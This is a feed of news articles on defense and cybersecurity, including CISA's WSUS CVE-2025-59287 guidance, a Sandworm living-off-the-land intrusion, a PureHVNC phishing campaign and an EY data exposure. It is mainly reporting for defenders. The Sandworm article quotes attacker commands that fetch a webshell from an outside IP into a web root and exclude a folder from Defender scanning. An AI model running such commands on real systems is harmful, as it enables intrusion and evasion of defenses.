• In a critical update issued on October 29, 2025, the Cybersecurity and Infrastructure Security Agency (CISA) has provided organizations with enhanced guidance on detecting and mitigating threat activity related to the actively exploited CVE-2025-59287 vulnerability in Microsoft’s Windows Server Update Services (WSUS).

    This remote code execution flaw, rated at a CVSS score of 9.8, allows unauthenticated attackers to execute arbitrary code with SYSTEM privileges on affected servers, posing severe risks to enterprise networks.

    Microsoft initially addressed the issue during October’s Patch Tuesday. Still, it released an out-of-band update on October 23, 2025, after discovering the prior fix was incomplete, prompting CISA to add it to the Known Exploited Vulnerabilities (KEV) Catalog the following day.

    Exploitation has surged in the wild, with reports of attackers using proxy networks and public proof-of-concept exploits to harvest sensitive data such as user credentials and network configurations.

    WSUS Vulnerability and Exploitation

    CVE-2025-59287 stems from unsafe deserialization of untrusted data in WSUS, specifically involving the insecure .NET BinaryFormatter when processing AuthorizationCookie objects via endpoints like GetCookie() in the ClientWebService or SoapFormatter in ReportingWebService.

    Attackers craft malicious SOAP requests containing base64-encoded payloads, encrypted with AES-128-CBC, which bypass validation and trigger code execution upon deserialization.

    This vulnerability affects only servers with the WSUS role enabled, a feature not active by default, and exposes ports TCP 8530 and 8531 to network traffic.

    The flaw’s network-based attack vector requires no privileges or user interaction, enabling rapid compromise of update management infrastructure, which attackers leverage for lateral movement and data exfiltration.

    CVE IDDescriptionCVSS v3.1 ScoreSeverityAffected ProductsExploitation PrerequisitesImpact
    CVE-2025-59287Deserialization of untrusted data in WSUS allows remote code execution.9.8CriticalWindows Server 2012, 2012 R2, 2016, 2019, 2022 (incl. 23H2), 2025 with WSUS role enabled.Unauthenticated access to TCP ports 8530/8531; crafted requests to ClientWebService or ReportingWebService.Arbitrary code execution with SYSTEM privileges; potential for network enumeration, credential theft, and persistence.

    Organizations must prioritize identifying vulnerable servers using PowerShell commands like Get-WindowsFeature -Name UpdateServices or the Server Manager Dashboard to confirm WSUS enablement.

    Applying the October 23 out-of-band patch followed by a reboot is essential, with temporary workarounds including disabling the WSUS role or blocking inbound traffic to the exposed ports at the host firewall.

    CISA’s latest advisory emphasizes proactive threat hunting, urging administrators to monitor for anomalous activity such as child processes spawned with SYSTEM permissions from wsusservice.exe or w3wp.exe, including nested PowerShell instances executing base64-encoded commands.

    Observed tactics include spawning cmd.exe and powershell.exe for enumeration via net user /domain and ipconfig /all, with outputs exfiltrated to webhook sites or Cloudflare Workers subdomains for command-and-control.

    These behaviors may mimic legitimate operations but warrant vetting, especially alongside deserialization errors in WSUS logs or unusual POST requests to Client.asmx endpoints.

    Additional resources from Huntress detail real-world exfiltration scripts, while Palo Alto Networks Unit 42 highlights consistent attacker methodologies involving proxy obfuscation.

    Federal agencies face a November 14, 2025, remediation deadline, but all entities should act immediately to safeguard updated pipelines against this high-impact threat.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post CISA Shares New Threat Detections for Actively Exploited WSUS Vulnerability appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A new report to Congress pitching the Air Force’s 10-year fighter jet plan is missing key details and explanations, raising questions and concerns among defense experts.

    The 24-page document details Air Force Secretary Troy Meink’s support of the interim defense strategy’s mandate “to protect the homeland, deter our adversaries, and project decisive airpower” by purchasing more F-15EXs, F-35s and F-47 aircraft. The report sets an ambitious goal of having nearly 1,400 tactical aircraft by 2030 but says the service does not have “total obligation authority” to place the necessary orders and adds that “Industry production limitations will also limit the USAF's ability to meet global force requirement.” The document also said the service needs a total of 1,558 manned tactical aircraft to “achieve low risk to resourcing, executing and sustaining combat operations.”

    It’s unclear how the Air Force will reach those goals, said Todd Harrison, a defense budgeting expert at the American Enterprise Institute. He added the report didn’t include info from the Future Years Defense Program, the Pentagon’s five-year budget plan.

    “One thing that stood out to me is it doesn't have actual tables in the unclassified document showing the force plans in the future,” Harrison said. “It doesn't even show the FYDP plans.”

    The long-term plan was ordered up by the 2025 National Defense Authorization Act. This initial version was due six months ago; new editions are required every April through 2029. Defense One obtained a copy of the unclassified version of the report. 

    Defense experts were also concerned by the number of required combat aircraft detailed in the Air Force’s report to Congress, saying it falls short.

    Dave Deptula, a retired Air Force three-star and dean of the Mitchell Institute, said the Air Force has been on a “death spiral” and said the ambitious goals pitched by the service in the report aren’t enough for current national security needs.

    The Air Force “desperately needs additional budget from the administration and funding from Congress to reverse this dire situation,” Deptula said. “The report is interesting, but it’s about 25-30 percent short of what’s needed to execute America’s security strategy.”

    A graph in the report shows dwindling numbers of A-10s, F-15C/D, and F-15E aircraft, while retaining the same numbers of F-16s and F-22s over the next five years. It also details the service’s plan to modernize some aircraft and retire others. 

    Retirements of the A-10 Warthog are continuing; the Air Force plans to stop funding missions with them by next September, according to the report. The plan also calls for retiring some F-15Es with older engines while keeping ones with updated Pratt & Whitney F100-PW-229 power plants.

    F-15C and D jets are being retired as F-15EXs arrive. Annual production of the EX is to reach full speed with 24 jets in fiscal 2027, and the Air Force is “exploring opportunities to capitalize on this production rate,” according to the report.

    F-16s in the Block 40 and Block 50 configurations will get Active Electronically Scanned Array radars, Multifunctional Information Distribution System Joint Tactical Radio Systems, and Integrated Viper Electronic Warfare Suites, the report said. 

    F-22 Block 30s and 35s are getting extensive modernization while older Block 20s are planned for retirement.

    Upgrading and buying more F-35s is listed as a major priority but fielding those new jets is “inherently risky” given funding woes and “industry delivery delays,” the report said. 

    Aircraft-builder Lockheed Martin still got paid incentive fees when they delivered F-35s “up to 60 days late,” the Government Accountability Office wrote last month. 

    The report identifies the F-47 and the collaborative combat aircraft prototypes as the service’s “number one modernization priority.” Service officials plan to have the F-47 ready for its first flight by 2028.

    The report acknowledges the “complexity” of adapting to the administration’s new defense strategy.

    “Homeland defense, forward posturing, power projection (deterrence), contingency response, modernization and aircrew production are the key missions the USAF must balance through deliberate basing, procurement, and management of tactical fighter aircraft,” the report said. “Balancing these diverse requirements with limited resources adds complexity to an already significant challenge to meet force structure demands.”

    The report broadly follows Meink’s argument that the Air Force’s existing power-projection programs are relevant to the administration’s national-security objectives, including “the President’s determination to restore our neglected position in the Western Hemisphere.”

    During the Air & Space Force Association's annual conference near Washington, D.C., last month, Meink told reporters “homeland defense pretty much captures all threats.”

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Every January, an exclusive career fair in Washington, D.C., draws hundreds of top students from across the country meet with dozens of federal agencies looking to hire talent.

    Established in 2000, the CyberCorps: Scholarship for Service program provides college tuition and a stipend to awardees who commit to working in a government cybersecurity role upon graduation. It’s backed by the Office of Personnel Management and National Science Foundation, the latter of which awards scholarships for up to three years of support for cybersecurity undergraduate and graduate participants, including Ph.D candidates.

    The program has long been deemed a reliable pathway for cream-of-the-crop students to enter public service, namely those with the technical and policy chops who want to serve the nation through cyber means.

    But an email issued in August of this year painted a different picture. Campus program heads were told that the upcoming annual career fair was cancelled, according to a copy viewed by Nextgov/FCW. Program events have now been made virtual for this year, though many of those have been fully cancelled, a person with knowledge of the matter said.

    What unfolded is symptomatic of a larger problem: As the Trump administration has moved to shrink and restructure the federal workforce, the effects have spilled into one of the government’s few longstanding cyber talent pipelines.

    For the last 20 years, the CyberCorps program has placed students into offices at several agencies and the Defense Department, including within the National Security Agency, Department of Energy and dozens of state, local, tribal and territorial governments, according to a 2023 biennial report.

    As cyber activity from U.S. adversaries and criminal hackers escalates, CyberCorps recruits hoped they would be spared from vast federal workforce changes carried out over the course of this year. 

    Instead, the opposite happened. Beginning as early as February, program recruits received cancellation notices for work offers at agencies like NASA, the Department of Health and Human Services and the Defense Contract Management Agency, according to nearly a dozen emails viewed by Nextgov/FCW.

    What’s worse for many students is the anticipation of crushing debt. Scholarship terms stipulate that graduates must secure a qualifying job approved by OPM within an 18-month window after completing their studies. If they don’t meet that deadline, their scholarship funding converts into a loan, obligating them to repay the full amount they received.

    “I already have over $100k of undergrad debt. I don’t really feel keen on taking on another $150k that I hadn’t planned on and didn’t consent to,” said one student who is on track to earn an advanced cybersecurity degree from Indiana University in May 2026. 

    “I still believe in protecting critical infrastructure, obviously, but I don’t want to ever work for the government again,” they said. “As an American, I’m immensely embarrassed. I feel humiliated on behalf of everyone who works in this industry.”

    That CyberCorps student and two other program participants who earned or will soon earn cybersecurity degrees — one from the University of Central Florida and another from the New Jersey Institute of Technology — were granted anonymity to speak candidly about their situation and due to fear of reprisal.

    OPM and the White House Office of the National Cyber Director did not return a request for comment. NSF returned an automated email saying that staff will not be responding due to the ongoing government shutdown.

    ONCD under the Biden administration had kicked off a mass effort to bolster the U.S. cyber workforce by touring schools and meeting with officials to build incentive structures that would get more students into cybersecurity jobs. “Scale nationwide” was the goal, former National Cyber Director Harry Coker told Nextgov/FCW last year during a school tour in Nevada.

    Sean Cairncross, the first national cyber director under President Donald Trump, has echoed that premise. 

    “We need a pipeline that develops and shares talent,” he said in September. “It should be pragmatic and accessible, reconciling and taking advantage of existing avenues within academia, vocational schools, corporations and venture capital opportunities to not only educate and train our existing cyber workforce, but to also recruit new talent, preparing the next generation to design and deploy exquisite emerging technologies.”

    But CyberCorps students across the political spectrum feel they have been forgotten. They had mentors in agencies like the Cybersecurity and Infrastructure Security Agency, where, over multiple semesters, they held internships and planted seeds for full-time recruitment. Those mentors and managers have since been terminated or taken other offers that incentivize them to leave government service.

    “I care about protecting my drinking water, about making sure the power stays on for my nieces and my nephews and my neighbors. And that’s what I was doing with [my CISA internship],” the NJIT student said. He left behind a 10-year-long corporate career and went back to school because he wanted to serve his country. Military enlistment wasn’t an option for him because of health conditions.

    “The terms of the agreement changed,” he added. “But this isn’t a loan. This was a scholarship that we worked hard to get.”

    The University of Central Florida student, whose capstone project focused on ransomware victimization, was supposed to go back to DHS earlier this year, but that opportunity was cancelled in February. 

    “We’re getting massacred out there. I don’t really understand why we’re cutting cybersecurity at a moment when we need it most,” she said.

    Over the last several months, some 250 CyberCorps scholars have been privately organizing, concerned that the current U.S. government job environment will affect their prospects for federal employment. Many have sought legal assistance to break the conditions of their scholarship and have contacted their representatives on Capitol Hill for additional help, all three students said.

    “The cybersecurity of our nation is in peril and we’re turning our backs on hundreds, if not thousands, of some of the smartest cybersecurity talent our universities are creating,” an organizer memo obtained by Nextgov/FCW says. “This is a potential counterintelligence nightmare, in addition to a failing of our critical infrastructure, cybersecurity readiness plans and basic national security.”

    Cuts to cyber shops across government early in the year left many CyberCorps students worried about their future prospects. More recently, cyber staff and others in DHS have faced a mass shift focused on Trump era immigration and deportation work, further narrowing hiring possibilities.

    Multiple people facing potential debt burdens from the hiring reversals have written to NSF directly requesting a reprieve. 

    “Due to my personal life situation and current macroeconomic factors, I am experiencing severe financial and economic burden, which significantly impacts my ability to fulfill this obligation,” one letter sent to NSF reads. Nextgov/FCW is withholding other details to protect the identity of the affected CyberCorps student.

    Recruitment options are severely limited. And when CyberCorps scholars see a possible job opportunity, many feel morally obligated to share it with each other, though it simultaneously makes the playing field more competitive. 

    “Any time someone finds a job that we could qualify for, we send it to everyone, and we all apply. So it’s kind of a f***ed up Hunger Games,” the Indiana student said.

    After acceptance to the program, which involves a lengthy application requiring multiple recommendation letters, students must engage with an on-campus professor. Those instructors, known as principal investigators, are responsible for administering scholarships and serving as the primary point of contact with OPM. 

    The setback for program participants has a dangerous trickle-down effect for those professors involved in campus recruitment, a former White House official told Nextgov/FCW. As scholarship students struggle to find jobs after completing their studies, word spreads across campuses, and those professors, who must nominate participants, may become reluctant to do so if they see high risk of poor outcomes for their nominees.

    “They didn’t just get the scholarship for whatever reason, they got it because they had the recommendation of the professors,” said the former official, who spoke on the condition of anonymity due to fear of retribution from the Trump administration. “This is a very competitive program, and right now, we might lose this talent. But the long-term implication is that we might not be able to attract the best talent in the world in the future.”

    For now, several students are trying to get 12-month extensions on their scholarship obligations, though the outlook for federal hiring conditions a year from now is unclear. Many have considered military service or continuing education, both of which would either defer their commitment to federal service or, if the role is approved, fulfill the program’s requirements and postpone or potentially avoid incurring the scholarship as debt, the students said.

    Others have considered more adverse options, which would involve seeking higher-paying private sector jobs with the expectation of paying down a hefty scholarship-converted loan. State and local government placements are possible, but recent funding conditions make those opportunities scarce.

    “The effect of these hiring freezes on CyberCorps scholarship recipients, whose talent is urgently needed to protect our nation’s infrastructure and whose scholarships depend on federal placement after graduation, is another example of the administration prioritizing political theatre over national security,” Rep. James Walkinshaw, D-Va., told Nextgov/FCW in an email.

    “CyberCorps scholars answered a call to serve. Saddling them with debt and uncertainty does not make government more efficient, it makes our nation less safe. The administration should ensure these professionals are placed in federal roles that fulfill their service requirements, or grant extensions or exceptions so they are not unfairly penalized,” he added.

    A July email sent from the program administrators in OPM to CyberCorps scholars lists various pieces of advice to navigate the new job landscape and suggested students “get creative” in their search. It advises them to look for more state and local opportunities and connect with their institution’s career services offices, among other things.

    It also reminds students that government contractor positions do not count toward their scholarship obligations. 

    “While you may work with a non-qualifying agency to take care of yourself and family in the interim, this will not count towards your service obligation,” it says. “Thank you for your patience, understanding and dedication during this time,” it later adds.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • House Armed Services committee members are begging Boeing leaders to negotiate with 3,200 union workers and end a nearly-three-month strike at the company’s fighter jet and munitions factories in St. Louis.

    In a letter published Wednesday, the bipartisan group of 17 HASC members urged Boeing to resume talks with its International Association of Machinists and Aerospace-represented workers. They expressed alarm at reports that the company has been accelerating efforts to hire non-union workers instead.

    “For more than 80 days, including with the assistance of federal mediation, both sides have yet to come to terms on a new contract,” the letter said. “However, we are concerned by recent reports that Boeing Defense has inquired on hiring permanent replacements for striking workers in manufacturing roles…we are urging both sides to come back to the table to negotiate

    to conclude this ongoing, disruptive strike.”

    But company leaders continued to seem unbothered by the labor dispute. Boeing CEO Kelly Ortberg said Wednesday during the company’s third-quarter earnings call that production on Joint Direct Attack Munitions, the Air Force’s T-7A trainer, and the Navy’s MQ-25 unmanned aerial refueler continued during the strike. 

    “In St. Louis, we are executing our contingency plan as our IAM-represented workforce remains on strike,” Ortberg said during the call. “We are building JDAMS without IAM workforce at about the same production rate as before the work stoppage, and the team is progressing on our MQ-25 and T-7A development programs.”

    A Boeing spokesperson did not immediately respond to a request for comment on Wednesday about the Congressional letter and more details about the strike’s effects on other defense programs such as the company’s F-15EX, F/A-18, and F-47 fighter jets. 

    The IAM filed two labor violation charges against the company earlier this month for rejecting union proposals without counter-offering or addressing worker complaints.

    Ortberg highlighted recent milestones for the defense programs during the earnings call, such as beginning assembly on the first production representative T-7A test aircraft and delivering the 100th KC-46 tanker. The CEO also highlighted Boeing netting more than $400 million on contracts for the U.S. Navy in August to repair F-18 landing gear and a $2.8 billion contract in July to modernize the Space Force’s nuclear control satellites as major wins.

    Earlier this month, Boeing was awarded $2.7 billion in multi-year contracts to ramp up production of Patriot Advanced Capability‑3 seeker missiles for the military. Boeing reported $6.9 billion in defense revenue in the third quarter, a 25% increase over the prior year.

    “We still have work to get these programs through the development phase, and as I've said before, you're never done until you're done,” Ortberg said.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The Marine Corps is tweaking its Force Design 2030 plan as it enters the second half of its post-Global War on Terror transformation this month, releasing an update for 2025 after skipping 2024. 

    That includes putting on hold plans to stand up a third Marine Littoral Regiment, the service’s new shallow-water unit concept, which had been planned for Guam, a spokesman told Defense One on Tuesday. 

    “We've decided, given what we have right now in the Pacific, we're going to keep 4th Marine Regiment a traditional Marine regiment, and not transition it to an MLR,” said Lt. Col. Eric Flanagan, holding the count at 3rd MLR in Hawaii and 12th MLR in Japan. 

    With the MLR project now effectively complete, the Corps is eagerly anticipating getting its beleaguered medium landing ship program off the ground. An initial request for proposals was canceled late last year.

    “It’s no secret that's been delayed, but there's going to be positive steps here in the next couple months, as far as getting what the first ship made, and then moving forward and making this in scale, so we can get it out to Marines in Japan,” Flanagan said.

    Among its achievements, the Corps has been working on integrating new fires capabilities, like digital launch control on the High-Mobility Artillery Rocket System and the Navy Marine Expeditionary Ship Interdiction System.

    “We see ourselves as the eyes and ears of the joint force forward. So we've got sensors, we've got some of those fires, and then enabling all the joint-force fires as well around that, that command and control, to be able to reach out and shoot anything that we need to at any time,” Flanagan said.

    The Corps is evolving how it sees itself in more than one way, according to the Force Design update, and will codify that with a new “capstone concept.” 

    “This will connect our operational ideas and state clearly what the Marine Corps provides to Naval and Joint Force: a globally responsive, lethal, and resilient combined-arms naval expeditionary force that projects power from sea to land and land to sea, fighting as a Marine Air Ground Task Force across all domains in contested environments to deter, deny, and defeat adversaries,” the update says.

    In short, Flanagan said, it will distill the service’s move back to its sea-service roots following two decades of desert fighting in Iraq and Afghanistan. 

    “That paragraph is kind of a teaser to what the capstone concept is going to entail,” he said. “And really, it's things that you wouldn't have necessarily seen the Marine Corps describing itself in years past, as far as the all-domain environment, sea denial, sea control — you know, really supporting the Navy and the joint force.”

    The concept is in staffing and on track to be released in a matter of months, he added.

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Ukrainian government organizations continue facing relentless cyber threats from Russian-backed threat actors employing sophisticated evasion techniques to maintain persistent network access.

    Recent investigations have uncovered coordinated campaigns targeting critical infrastructure and government entities, with attackers deploying advanced tactics that circumvent traditional security defenses.

    These operations represent a significant escalation in targeting strategies, focusing on credential harvesting and sensitive information extraction rather than immediate destructive capabilities.

    The attacks demonstrate a strategic shift toward prolonged dwell time within networks, enabling threat actors to conduct extensive reconnaissance and maintain covert presence for months.

    Symantec analysts and researchers identified two major intrusion incidents spanning a two-month operation against a large business services organization and a week-long campaign against local government infrastructure.

    The attackers demonstrate exceptional operational security awareness, minimizing malware deployment while relying primarily on legitimate Windows administration tools and dual-use utilities to avoid detection.

    The campaign appears linked to Sandworm, a Russian military intelligence unit under the GRU known for destructive attacks against critical infrastructure including power grids and satellite communications networks.

    Initial compromise occurred through webshell deployment on public-facing servers, likely exploiting unpatched vulnerabilities. Attackers utilized Localolive webshell for establishing persistent backdoor access, enabling remote command execution capabilities.

    Living-Off-the-Land Credential Harvesting Mechanisms

    The sophisticated evasion methodology employed by these threat actors reveals their understanding of modern security implementations.

    Upon gaining initial access on June 27, 2025, attackers immediately executed reconnaissance commands using built-in Windows utilities:-

    cmd.exe /c curl 185.145.245.209:22065/service.aspx > C:\inetpub\wwwroot\aspnet_client\service.aspx
    powershell Add-MpPreference -ExclusionPath CSIDL_PROFILE\downloads

    Attackers deliberately disabled Windows Defender scanning on the Downloads folder, requiring administrative privileges.

    They subsequently created scheduled tasks executing every thirty minutes using legitimate rundll32.exe with comsvcs.dll to perform memory dumps, extracting credentials stored in process memory.

    The threat actors specifically targeted KeePass password vault processes through enumeration commands, demonstrating precise targeting of credential repositories.

    Advanced evasion continued through utilization of Windows Resource Leak Diagnostic tool (rdrleakdiag) for memory dumping operations, a seldom-used technique designed to evade security monitoring systems.

    Registry hive exfiltration through native reg.exe commands enabled additional credential and configuration data extraction.

    The campaign showcases threat actors prioritizing stealth over speed, employing legitimate administration tools to maintain attribution ambiguity while systematically harvesting sensitive organizational data throughout extended network access periods.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Russian Hackers Attacking Government Entity Using Stealthy Living-Off-the-Land Tactics appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Between August and October 2025, a sophisticated phishing campaign has emerged targeting Colombian and Spanish-speaking users through deceptive emails masquerading as official communications from Colombia’s Attorney General’s office.

    The campaign employs a carefully crafted social engineering strategy, luring victims with notifications about supposed lawsuits processed through labor courts.

    This marks a significant shift in attack tactics as threat actors expand PureHVNC deployment into regions previously untouched by this malware.

    Example email (Source – IBM)

    The attack chain begins when recipients encounter an email containing an SVG attachment that leads them through Google Drive, where clicking on the document triggers an automatic download of a password-protected ZIP archive.

    7 ZIP archive contents (Source – IBM)

    Inside this archive lies a renamed executable disguised with a judiciary-themed filename “02 BOLETA FISCAL.exe”, which is actually a legitimate javaw.exe file repurposed for malicious DLL side-loading.

    This initial stage deploys Hijackloader, an increasingly prevalent loader previously observed delivering RemcosRAT to CrowdStrike customers.

    IBM X-Force analysts identified this campaign as particularly noteworthy because it represents the first observed instance of PureHVNC being delivered to Spanish-speaking users through such coordinated efforts.

    The malware, typically sold on dark web forums and Telegram channels by PureCoder, demonstrates advanced evasion capabilities that separate it from standard remote access trojans.

    Infection Mechanism and Persistence

    The malware operates through a sophisticated multi-stage infection process designed to evade security detection.

    The attack exploits DLL side-loading, where the malicious JLI.dll hijacks Windows’ library loading procedures to inject the second-stage payload MSTH7EN.dll directly into memory using the LoadLibraryW() API function.

    This shellcode eventually loads into vssapi.dll through memory manipulation techniques involving VirtualProtect() calls that modify the .text section to PAGE_EXECUTE_READWRITE permissions.

    The third-stage payload contains encrypted configuration data including process name hashes that trigger execution delays when security software is detected.

    When activated, the malware queries running processes and uses NtDelayExecution() API calls to pause execution, demonstrating awareness of its operational environment.

    The complete infection chain ultimately establishes communication with the command server sofiavergara[.]duckdns[.]org, granting attackers complete remote access over compromised systems.

    This campaign highlights how judicial and legal themes continue serving as effective social engineering vectors, particularly against government and corporate employees in Latin America.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post Threat Actors Weaponizes Judicial Documents to Deliver PureHVNC RAT appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybersecurity experts at ANY.RUN recently unveiled alarming trends in how attackers are exploiting everyday technologies to bypass security operations centers (SOCs).

    They dissected tactics like QR code phishing, ClickFix social engineering, and Living Off the Land Binaries (LOLBins), showing how these methods evade traditional defenses.

    As threats grow more sophisticated, SOC teams face mounting pressure to adapt, with low detection rates risking severe breaches. Drawing from analyses of real-world samples, the session emphasized interactive tools and real-time intelligence as vital countermeasures.

    ClickFix Attacks: Mastering Human Deception

    ClickFix attacks stand out for their reliance on user interaction, turning routine verifications into malware gateways. Attackers send phishing emails mimicking trusted sites, like booking platforms, complete with fake CAPTCHAs.

    Once a victim clicks, a malicious PowerShell script hijacks the clipboard unnoticed, prompting the user to paste and execute it via a system dialog.

    This multi-stage ploy thrives on deception: double spoofing creates convincing replicas, while manual steps foil automated scanners.

    Sandbox analyses reveal how execution deploys stealers like Lumma or AsyncRAT, plus ransomware, establishing persistence through startup files.

    Traditional tools falter at CAPTCHAs, but interactive sandboxes simulate human actions, exposing the full chain from initial click to payload delivery in seconds.

    Without such capabilities, SOCs miss threats that blend seamlessly into user workflows, leading to credential theft and system compromise.

    PhishKit Attacks: QR Codes as Stealth Vectors

    Phishing kits, or phishkits, have evolved into dark web staples, empowering novices to launch pro-level campaigns against giants like Microsoft and Google.

    The latest twist integrates QR codes into PDF attachments disguised as DocuSign docs, directing scans to mobile devices where phishing cues hide on small screens.

    These kits incorporate AI-generated lures, multi-stage checks, and CAPTCHAs like Cloudflare Turnstile, culminating in fake login pages for credential harvesting.

    ANY.RUN’s automated detonation extracts QR links, solves challenges, and traces the kill chain, revealing ties to groups like Storm-1747.

    Many defenses overlook QR content, allowing evasion, but advanced sandboxes handle this autonomously, cutting Tier 1 workloads by 20%. As phishkits proliferate, targeting regions via localized lures, SOCs must prioritize QR scanning to curb widespread campaigns.

    LOLBins: Weaponizing Trusted Tools

    LOLBins exploit Windows’ own utilities, PowerShell, mshta.exe, and cmd.exe to mask malice as routine operations. A phishing .lnk file might invoke mshta via PowerShell to fetch payloads from remote servers, downloading decoy PDFs to obscure the real stealer, like DeerStealer.

    This “living off the land” approach evades whitelists and antivirus software by mimicking admin tasks, leaving faint forensic traces.

    Behavioral analysis in sandboxes uncovers connections to C2 servers and persistence mechanisms, distinguishing abuse from legitimacy.

    Without context from global investigations, alerts trigger false positives. Threat intelligence feeds, pulling fresh IOCs from thousands of sessions, enable real-time blocking, slashing response times.

    The tactics employed by ClickFix, including interactivity, QR obfuscation, and LOLBin stealth, highlight the limitations of relying solely on automation.

    ANY.RUN’s solutions, which combine interactive analysis with shared intelligence, enhance detection rates by 88% in under a minute and reduce mean time to resolve (MTTR) by 21 minutes.

    Security Operations Centers (SOCs) that implement these solutions report a 30% decrease in escalations and a tripling of efficiency, thereby strengthening their defenses against an increasingly relentless adversary landscape.

    Enhance your SOC Performance With Interactive Sandbox Threat Intelligence Lookup and Feeds => Try Now

    The post Emerging Cyber Threats Featuring QR Codes ClickFix and LOLBins Challenging SOC Defenses appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A newly discovered ransomware-as-a-service platform called Gentlemen’s RaaS has recently emerged on underground hacking forums, offering threat actors a sophisticated cross-platform attack capability.

    The service, advertised by the threat actor known as zeta88, represents a significant expansion in ransomware delivery models, targeting critical infrastructure across multiple operating systems.

    This development signals an intensified threat landscape where organized cybercriminals are offering affiliate-based ransomware operations to lower-level attackers, democratizing access to enterprise-level encryption malware.

    The service leverages a compelling business model that allocates ninety percent of ransom proceeds to affiliates while retaining just ten percent for the operator.

    This generous revenue-sharing arrangement has proven highly attractive to potential partners within the cybercriminal ecosystem.

    By offering this financial incentive structure, the platform encourages widespread adoption and rapid deployment across global organizations.

    The architecture reflects a deliberate strategy to scale ransomware operations efficiently while maintaining operational control through centralized decryption infrastructure.

    KrakenLabs researchers identified the malware following detailed analysis of its promotional materials circulating across hacking forums.

    The platform exhibits sophisticated technical construction with separate lockers designed for specific platforms, indicating purpose-built infrastructure rather than generic variants.

    Lateral movement

    The most technically noteworthy aspect involves the malware’s persistence and lateral movement mechanisms.

    Gentlemen’s RaaS deploys a Go-based locker targeting Windows, Linux, NAS, and BSD systems, while employing a separate C-coded ESXi locker approximately thirty-two kilobytes in size.

    The encryption implementation utilizes XChaCha20 combined with Curve25519 cryptography, with per-file ephemeral keys providing granular encryption architecture.

    Particularly concerning is the self-propagation capability through WMI, WMIC, SCHTASKS, SC, and PowerShell Remoting commands, enabling rapid network traversal.

    The malware establishes persistence via schtasks registry modifications and run-on-boot routines, ensuring survival across system restarts and administrative interventions.

    Additionally, the platform supports network share discovery and automated encryption, allowing the ransomware to identify and compromise adjacent systems seamlessly.

    Follow us on Google NewsLinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

    The post New Gentlemen’s RaaS Advertised on Hacking Forums Targeting Windows, Linux and ESXi Systems appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A massive 4TB SQL Server backup file belonging to global accounting giant Ernst & Young (EY) was discovered publicly accessible on Microsoft Azure.

    The exposure, uncovered by cybersecurity firm Neo Security during a routine asset mapping exercise, highlights how even well-resourced organizations can inadvertently leave sensitive data vulnerable to the internet’s automated scanners.

    Neo Security’s lead researcher discovered the file while examining passive network traffic with low-level tools.

    A simple HEAD request meant to fetch metadata without downloading content revealed the staggering size: 4 terabytes of data, equivalent to millions of documents or an entire library’s worth of information.

    The file’s naming convention screamed SQL Server backup (.BAK format), which typically contains full database dumps, including schemas, user data, and, crucially, embedded secrets such as API keys, credentials, and authentication tokens.

    Discovery and Verification Process

    Initial searches on the Azure Blob Storage yielded no immediate ownership clues, but deeper probes uncovered merger documents in a European language, translated with tools like DeepL, pointing to a 2020 acquisition.

    A pivotal DNS SOA record lookup tied the domain to ey.com, confirming EY’s involvement. To avoid any legal pitfalls, the team downloaded only the file’s first 1,000 bytes, revealing an unmistakable “magic bytes” signature for an unencrypted SQL Server backup, Neo Security learns.

    This was not a theoretical risk. Neo Security relied on real-world incident response experience, recalling a fintech breach that resulted from the brief exposure of a similar .BAK file for just five minutes.

    In that case, attackers exploited the brief window to exfiltrate personally identifiable information and credentials, leading to ransomware and the company’s collapse.

    With today’s botnets scanning the entire IPv4 address space in minutes, such exposures invite inevitable compromise. Neo Security halted further probing and pursued responsible disclosure over a weekend, eventually connecting with EY’s CSIRT via LinkedIn outreach after 15 attempts.

    EY responded swiftly and professionally, triaging and remediating the issue within a week, with no defensiveness, just effective action.

    The firm deserves credit for its mature handling, a rarity in an industry often marred by denial or delays. Yet the incident underscores systemic cloud vulnerabilities. Azure’s convenience in exporting databases can lead to ACL (Access Control List) errors, flipping private storage public with one misclick.

    For EY a Big Four firm auditing billion-dollar deals and holding market-moving financial data this lapse raises questions about oversight in fast-paced infrastructures.

    Experts warn that automated adversarial scanning means exposures aren’t “if” but “how many” actors notice.

    As cloud complexity grows, continuous mapping and visibility tools become essential to outpace threats, ensuring organizations discover their own leaks first.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post EY Data Leak – Massive 4TB SQL Server Backup Exposed Publicly on Microsoft Azure appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶